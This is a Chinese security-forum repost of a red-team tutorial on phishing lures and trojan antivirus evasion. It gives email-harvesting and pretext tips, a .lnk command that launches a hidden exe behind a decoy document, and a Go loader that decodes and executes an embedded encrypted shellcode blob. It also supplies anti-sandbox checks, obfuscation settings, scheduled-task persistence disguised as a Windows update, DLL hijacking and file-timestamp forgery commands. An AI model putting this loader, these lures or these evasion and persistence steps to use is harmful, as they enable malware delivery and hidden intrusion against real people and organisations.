安全矩阵

 找回密码
 立即注册
搜索
查看: 947|回复: 0

攻防实战|钓鱼手法及木马免杀技巧

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 19:57:17 | 显示全部楼层 |阅读模式
原文首发在:奇安信攻防社区
https://forum.butian.net/share/2532

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

【web实战】钓鱼手法及木马免杀技巧
简述
钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集
批量邮箱搜集
https://app.snov.io/
http://www.skymem.info/

搜索引擎
一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱:

如 xx举报,xx招聘面对大众的邮箱,相关语法:
  1. <p>site:"xxx.com"  举报  </p><p>site:"xxx.com"  招聘  </p><p>  </p><p>xx公司举报 @126.com  </p><p>xx公司招聘 @qq.com</p>
复制代码


钓鱼手法
社工钓鱼
首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对

选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部

社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼
群发邮件(不推荐,易被管理员发现或被邮件网关拦截)

搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)

福利补贴发放
紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送




简历投递
招聘投递简历,hr面对大量简历不会仔细查看后缀


钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿



举报信
xxx实名举报投诉,这种邮件一般处理反馈速度很快



钓鱼文件伪装
通用技巧
木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测

选择不常见的后缀但仍可作为exe执行,如scr、com等

文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk钓鱼
如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截)

快捷方式目标位置填入:

  1. <p>%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc &amp;&amp; C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"</p>
复制代码



图标更换路径选择:

  1. <p>C:\\Program Files (x86)\\Microsoft\\Edge\\Application  </p><p>%SystemRoot%\\System32\\imageres.dll  </p><p>%SystemRoot%\\System32\\shell32.dll</p>
复制代码



弹框错误提示
运行msgbox提示“文件已损坏”等具有迷惑性的内容

vbs实现

On Error Resume Next  
WScript.Sleep 2000  
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示"
go代码实现

  1. <p>package main  </p><p>  </p><p>import (  </p><p>    "github.com/gen2brain/dlgs"  </p><p>)  </p><p>  </p><p>func box() {  </p><p>    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")  </p><p>  if err != nil {  </p><p>    panic(err)  </p><p>  }  </p><p>}</p>
复制代码

实现效果



文件捆绑器
绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行

1.1版本 bypass常规杀软 (360、def、火绒等)

1.2版本 新增文件释放后自动隐藏


效果实现


常见杀软类型
杀软类型        杀软特点
火绒        编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒
360        单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360核晶        开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代
Defender        新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高
基础的加载方式
以下只是基础的示例,仅仅实现加密解密加载的功能

先使用python脚本进行加密 payload.c 文件
  1. <p>
  2. </p><p>import base64  </p><p>  </p><p>originalShellcode = b"\xfc\xe8\x89\x00"  </p><p>encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  </p><p>encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  </p><p>  </p><p>print(encodedShellcode)</p>
复制代码


输出的内容填入encryptedShellcode进行编译
  1. <p>
  2. </p><p>package main</p><p>
  3. </p><p>import (</p><p>    "encoding/base64"</p><p>    "syscall"</p><p>    "unsafe"</p><p>
  4. </p><p>    "github.com/lxn/win"</p><p>    "golang.org/x/sys/windows"</p><p>)</p><p>
  5. </p><p>func main() {</p><p>    // 通过 base64 和 XOR 解密 shellcode 内容</p><p>    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)</p><p>    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="</p><p>    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)</p><p>    for i := 0; i &lt; len(decodedShellcode); i++ {</p><p>        decodedShellcode[i] ^= 0x77</p><p>    }</p><p>
  6. </p><p>    // 获取 kernel32.dll 中的 VirtualAlloc 函数</p><p>    kernel32, _ := syscall.LoadDLL("kernel32.dll")</p><p>    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")</p><p>
  7. </p><p>    // 分配内存并写入 shellcode 内容</p><p>    allocSize := uintptr(len(decodedShellcode))</p><p>    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)</p><p>    if mem == 0 {</p><p>        panic("VirtualAlloc failed")</p><p>    }</p><p>    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]</p><p>    copy(buffer, decodedShellcode)</p><p>
  8. </p><p>    // 执行 shellcode</p><p>    syscall.Syscall(mem, 0, 0, 0, 0)</p><p>}</p>
复制代码

通用杀软bypass技巧
免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用

垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测

选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2

一键生成免杀
臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star⭐

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响
  1. <p>go:</p><p>-race   竞态检测编译  </p><p>-ldflags '-s -w'   去除编译信息  </p><p>-ldflags '-H windowsgui'   隐藏窗口  </p><p>  </p><p>garble(混淆库):</p><p>-tiny                    删除额外信息  </p><p>-literals               混淆文字  </p><p>-seed=random   base64编码的随机种子</p>
复制代码

举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒
  1. <p>
  2. </p><p>package main  </p><p>  </p><p>func main() {  </p><p>    // 两个要相乘的数字  </p><p>    num1 := 5  </p><p>    num2 := 3  </p><p>  </p><p>    result := 0  </p><p>  </p><p>    // 使用for循环来进行乘法运算  </p><p>    for i := 0; i &lt; num2; i++ {  </p><p>        result += num1  </p><p>    }  </p><p>}</p>
复制代码


-H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框)

  1. <p>package main  </p><p>  </p><p>import "github.com/lxn/win"  </p><p>  </p><p>func main(){  </p><p>  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  </p><p>}</p>
复制代码
  1. <p>func box()int{  </p><p>    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  </p><p>    FreeConsole.Call()  </p><p>    return 0  </p><p>}  </p><p>  </p><p>func main() {  </p><p>  box()</p>
复制代码

静态特征处理
混淆处理
go低版本 https://github.com/boy-hack/go-strip

go高版本 https://github.com/burrowers/garble

mangle替换字符串
https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle处理前后对比,可发现对go编译特征字符串替换为随机字符


base64编码变量
cmd := exec.Command("rundll32.exe", "xxx")
关键字符串进行Base64编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  

// 解码Base64编码的命令和参数  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  

cmd := exec.Command(string(decodedCommand), string(decodedArguments))
QVM绕过
添加资源
1、添加图标签名版权等信息内容,可使用以下项目一键添加



https://github.com/Pizz33/360QVM_bypass
https://github.com/S9MF/my_scrip ... 60QVM_bypass-public
https://github.com/langsasec/Sign-Sacker





行为特征
运行直接加载shellcode,一般会直接报qvm
  1. <p>
  2. </p><p>package main  </p><p>  </p><p>import (  </p><p>    "syscall"  </p><p>    "unsafe"  </p><p>)  </p><p>  </p><p>var (  </p><p>    ntdll         = syscall.MustLoadDLL("ntdll.dll")  </p><p>    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  </p><p>    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  </p><p>)  </p><p>  </p><p>const (  </p><p>    MEM_COMMIT             = 0x1000  </p><p>    MEM_RESERVE            = 0x2000  </p><p>    PAGE_EXECUTE_READWRITE = 0x40  </p><p>)  </p><p>  </p><p>func main() {  </p><p>  </p><p>    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  </p><p>    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  </p><p>        syscall.Exit(0)  </p><p>    }  </p><p>    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;decryt[0])), uintptr(len(decryt)))  </p><p>    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  </p><p>        syscall.Exit(0)  </p><p>    }  </p><p>    syscall.Syscall(addr, 0, 0, 0, 0)  </p><p>}</p>
复制代码

先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整
  1. <p>
  2. </p><p>package main  </p><p>  </p><p>import (  </p><p>    "syscall"  </p><p>    "unsafe"  </p><p>)  </p><p>  </p><p>var (  </p><p>    ntdll         = syscall.MustLoadDLL("ntdll.dll")  </p><p>    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  </p><p>    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  </p><p>)  </p><p>  </p><p>const (  </p><p>    MEM_COMMIT             = 0x1000  </p><p>    MEM_RESERVE            = 0x2000  </p><p>    PAGE_EXECUTE_READWRITE = 0x40  </p><p>)  </p><p>  </p><p>func main() {  </p><p>    num1 := 5  </p><p>    num2 := 3  </p><p>  </p><p>    result := 0  </p><p>  </p><p>    // 使用for循环来进行乘法运算  </p><p>    for i := 0; i &lt; num2; i++ {  </p><p>        result += num1  </p><p>    }  </p><p>    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  </p><p>    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  </p><p>        syscall.Exit(0)  </p><p>    }  </p><p>    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;decryt[0])), uintptr(len(decryt)))  </p><p>    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  </p><p>        syscall.Exit(0)  </p><p>    }  </p><p>    syscall.Syscall(addr, 0, 0, 0, 0)  </p><p>}</p><p>好用的反沙箱技巧</p><p>出口IP判断</p><p>func san() {  </p><p>  url := "https://myip.ipip.net/"  </p><p>  </p><p>  resp, err := http.Get(url)  </p><p>  if err != nil {  </p><p>    os.Exit(1)  </p><p>  }  </p><p>  defer resp.Body.Close()  </p><p>  </p><p>  body, err := ioutil.ReadAll(resp.Body)  </p><p>  if err != nil {  </p><p>    os.Exit(1)  </p><p>  }  </p><p>  </p><p>  content := string(body)  </p><p>  </p><p>  if strings.Contains(content, "中国") {  </p><p>  } else {  </p><p>    os.Exit(1)  </p><p>  }  </p><p>  }</p>
复制代码

检测桌面文件数量
  1. <p>func desktop() {  </p><p>    desktopPath, err := os.UserHomeDir()  </p><p>    if err != nil {  </p><p>        fmt.Println("无法获取用户桌面路径:", err)  </p><p>        return  </p><p>    }  </p><p>  </p><p>    desktopPath = filepath.Join(desktopPath, "Desktop")  </p><p>    fileCount, err := countFilesInDir(desktopPath)  </p><p>    if err != nil {  </p><p>        fmt.Println("无法读取用户桌面文件列表:", err)  </p><p>        return  </p><p>    }  </p><p>  </p><p>    fmt.Println("用户桌面文件数:", fileCount)  </p><p>  </p><p>    if fileCount &lt; 7 {  </p><p>        os.Exit(0)  </p><p>    }  </p><p>    // 在这里编写你的其他代码逻辑  </p><p>}</p><p>检测微信等常见软件</p><p>func CheckWeChatExist() {  </p><p>  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  </p><p>  if err != nil {  </p><p>    os.Exit(0)  </p><p>  }  </p><p>  defer k.Close()  </p><p>  </p><p>  s, _, err := k.GetStringValue("InstallDir")  </p><p>  if err != nil || s == "" {  </p><p>    os.Exit(0)  </p><p>  }  </p><p>}</p><p>检测pagefile.sys</p><p>func sys() {  </p><p>    pageFilePath := "C:\\pagefile.sys"   </p><p>    _, err := os.Stat(pageFilePath)  </p><p>    if os.IsNotExist(err) {  </p><p>        os.Exit(1)  </p><p>    } else if err != nil {  </p><p>    } else {  </p><p>    }  </p><p>}</p><p>判断系统类型</p><p>func language() {  </p><p>    language := os.Getenv("LANG")  </p><p>  </p><p>    if strings.Contains(language, "en_US") {  </p><p>        os.Exit(0)  </p><p>    } else {  </p><p>    }  </p><p>}</p>
复制代码

内存流量处理
流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源

https://github.com/9bie/oss-stinger
https://github.com/pantom2077/alioss-stinger

自定义profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html
https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令bypass
直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs
截图 https://github.com/baiyies/ScreenshotBOFPlus
删除自身 https://github.com/AgeloVito/self_delete_bof
bypassuac提权 https://github.com/youcannotseemeagain/ele

可以定期去github上关注一些好用的bof


权限维持
常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务
在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软

部分实现代码:
  1. <p>https://github.com/capnspacehook/taskmaster</p><p>
  2. </p><p>package main  </p><p>  </p><p>import (  </p><p>    "os"  </p><p>    "github.com/capnspacehook/taskmaster"  </p><p>)  </p><p>  </p><p>func runWinTask(path string) {  </p><p>    // 创建初始化计划任务  </p><p>    taskService, _ := taskmaster.Connect()  </p><p>  </p><p>    defer taskService.Disconnect()  </p><p>    // 定义新的计划任务  </p><p>    newTaskDef := taskService.NewTaskDefinition()  </p><p>    // 添加执行程序的路径  </p><p>    newTaskDef.AddAction(taskmaster.ExecAction{  </p><p>        Path: path,  </p><p>    })  </p><p>    // 定义计划任务程序的执行时间等,设置为开机启动  </p><p>    newTaskDef.AddTrigger(taskmaster.BootTrigger{  </p><p>        TaskTrigger: taskmaster.TaskTrigger{  </p><p>            Enabled: enable,  </p><p>        },  </p><p>    })  </p><p>  </p><p>    // 创建计划任务  </p><p>    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  </p><p>    result=result  </p><p>}  </p><p>  </p><p>func main() {  </p><p>    path, err := os.Executable()  </p><p>    if err != nil {  </p><p>        return  </p><p>    }  </p><p>  </p><p>    runWinTask(path)  </p><p>}</p>
复制代码

隐藏计划任务
具体原理可参考0x727师傅的文章

https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/ad ... cheduled-tasks.html

选择主机随机进程名作为计划任务程序文件名

将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\

创建的计划任务名取同一随机进程

计划任务触发器以分钟为单位,无限期持续

更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll劫持替换
比较常用的有 C:\Program Files (x86)\Google\Update

当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件



单个查找

https://github.com/wietze/windows-dll-hijacking



批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe
这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll





修改文件时间
当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急


这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果



查看net版本

shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r
需要安装net3.5 没有安装一下

shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:\\sources\\sxs
https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:55 , Processed in 0.013989 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表